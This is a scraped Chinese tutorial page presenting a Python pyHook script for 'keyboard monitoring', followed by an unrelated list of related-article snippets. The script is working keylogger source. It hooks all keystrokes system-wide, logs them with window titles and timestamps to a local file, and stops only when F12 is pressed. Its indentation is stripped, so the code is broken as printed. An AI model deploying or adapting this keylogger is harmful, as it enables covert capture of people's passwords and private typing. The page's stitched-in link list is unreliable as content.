# -*- coding: cp936 -*-

import pythoncom

import pyHook

import time

import win32api

t=''

asciistr=''

keystr=''

def onKeyboardEvent(event):

global t,asciistr,keystr

filename='d://test.txt'

wrfile=open(filename,'ab')

"处理键盘事件"

if t==str(event.WindowName):

asciistr=asciistr+chr(event.Ascii)

keystr=keystr+str(event.Key)

else:

t=str(event.WindowName)

if asciistr=='' and keystr=='':

wrfile.writelines("\nWindow:%s\n" % str(event.Window))

wrfile.writelines("WindowName:%s\n" % str(event.WindowName)) #写入当前窗体名

wrfile.writelines("MessageName:%s\n" % str(event.MessageName))

wrfile.writelines("Message:%d\n" % event.Message)

wrfile.writelines("Time:%s\n" % time.strftime('%Y-%m-%d %H:%M:%S',time.localtime()))

else:

wrfile.writelines("Ascii_char:%s\n" %asciistr)

wrfile.writelines("Key_char:%s\n" %keystr)

wrfile.writelines("\nWindow:%s\n" % str(event.Window))

wrfile.writelines("WindowName:%s\n" % str(event.WindowName)) #写入当前窗体名

wrfile.writelines("Time:%s\n" % time.strftime('%Y-%m-%d %H:%M:%S',time.localtime()))

asciistr=chr(event.Ascii)

keystr=str(event.Key)

if str(event.Key)=='F12': #按下F12后终止

wrfile.writelines("Ascii_char:%s\n" %asciistr)

wrfile.writelines("Key_char:%s\n" %keystr)

wrfile.close()

win32api.PostQuitMessage()

return True

if __name__ == "__main__":

#创建hook句柄

hm = pyHook.HookManager()

#监控键盘

hm.KeyDown = onKeyboardEvent

hm.HookKeyboard()

#循环获取消息

pythoncom.PumpMessages(10000)

本文原创发布php中文网,转载请注明出处,感谢您的尊重!

python hook教程_python中使用pyhook实现键盘监控的例子相关推荐

  1. python asyncio教程_python中使用asyncio实现异步IO实例分析

    1.说明 Python实现异步IO非常简单,asyncio是Python 3.4版本引入的标准库,直接内置了对异步IO的支持. asyncio的编程模型就是一个消息循环.我们从asyncio模块中直接 ...

  2. python numpy教程_Python中的Numpy入门教程

    这篇文章主要介绍了 Python 中的 Numpy 入门教程,着重讲解了矩阵中的数组操作 , 需要的 朋友可以参考下 1 . Numpy 是什么 很简单, Numpy 是 Python 的一个科学计算 ...

  3. python zipfile教程_Python中zipfile压缩文件模块的基本使用教程

    zipfile Python 中 zipfile 模块提供了对 zip 压缩文件的一系列操作. f=zipfile.ZipFile("test.zip",mode="&q ...

  4. python正则表达式教程_Python中正则表达式的巧妙使用一文包你必掌握正则,

    Python中正则表达式的巧妙使用一文包你必掌握正则, 前言 正则表达式就是从字符串中发现规律,并通过"抽象"的符号表达出来.打个比方,对于2,5,10,17,26,37这样的数字 ...

  5. python zipfile教程_Python中的zipfile模块使用详解

    zip文件格式是通用的文档压缩标准,在ziplib模块中,使用ZipFile类来操作zip文件,下面具体介绍一下: class zipfile.ZipFile(file[, mode[, compre ...

  6. python gc教程_python中的垃圾回收(GC)机制

    一.引用计数 Python 垃圾回收以引用计数为主,分代回收为辅.引用计数法的原理是每个对象维护一个ob_refcnt,用来记录对象被引用的次数,也就是用来追踪有多少个引用指向了对象,当发生以下四种情 ...

  7. python twisted教程_python中twisted实例用法

    python 编程之twisted详解及简单实例 python 编程之twisted详解 前言: 我不擅长写socket代码.一是用c写起来比较麻烦,二是自己平时也没有这方面的需求.等到自己真正想了解 ...

  8. python item方法_Python中使用item()方法遍历字典的例子

    Python字典的遍历方法有好几种,其中一种是for...in,这个我就不说明,在Python了几乎随处都可见for...in.下面说的这种遍历方式是item()方法. item() item()方法 ...

  9. 视频教程-快速入门Python基础教程_Python基础知识大全-Python

    快速入门Python基础教程_Python基础知识大全 十余年计算机技术领域从业经验,在中国电信.盛大游戏等多家五百强企业任职技术开发指导顾问,国内IT技术发展奠基人之一. 杨千锋 ¥99.00 立即 ...

最新文章

  1. 王坚十年前的坚持,才有了今天世界顶级大数据计算平台MaxCompute
  2. 转另一个获取硬盘序列号的方法
  3. Xamarin.Android开发实践(十七)
  4. 《APUE》读书笔记—第十三章守护进程
  5. SQL 经典回顾:JOIN 表连接操作不完全指南
  6. svn迁移,备份,重装系统后恢复数据 收藏
  7. http://www.cda.cn/view/25735.html
  8. leetcode 970. 强整数(Powerful Integers)
  9. java方法有excel实现_Java实现EXCEL操作(1)
  10. laravel-admin 在指定的相册下添加照片
  11. 控制文件夹递归深度_TensorFlow、Pytorch和Keras的样例资源(深度学习初学者必须收藏)...
  12. elasticsearch-head后台运行
  13. jsp在线预览Word文档操作步骤(自己测试的)
  14. 【Android】 使用AndServer框架在手机上搭建服务器
  15. ICDAR 2019 CROHME + TFD比赛 手写数学表达识别与排版公式检测的竞争
  16. Internet Download Manager v6.41.3中文特别版IDM下载器免费下载
  17. 职场常用的办公软件,操作很方便
  18. python tk文本框_python图形界面tk 1.5 文本框(Text box | Entry)
  19. 本地文件搜索引擎项目说明
  20. 单片机中的上电复位 和手动复位

热门文章

  1. linux GUI程序开发
  2. python处理utf8编码中文,及打印中文列表和字典
  3. 【C++】C++0x :: Introduction to some amazing features
  4. socket 大端 小端 转换 (转)《二》
  5. Tegra3 vSMP架构Android运行时CPU热插拔及高低功耗CPU切换
  6. Windows Phone 7 学习网址总结
  7. 为什么SD-WAN5年增长超过40%,越来越受企业欢迎?
  8. Eclipse改字体字号
  9. SpringBoot基础系列-SpringCache使用
  10. mysql node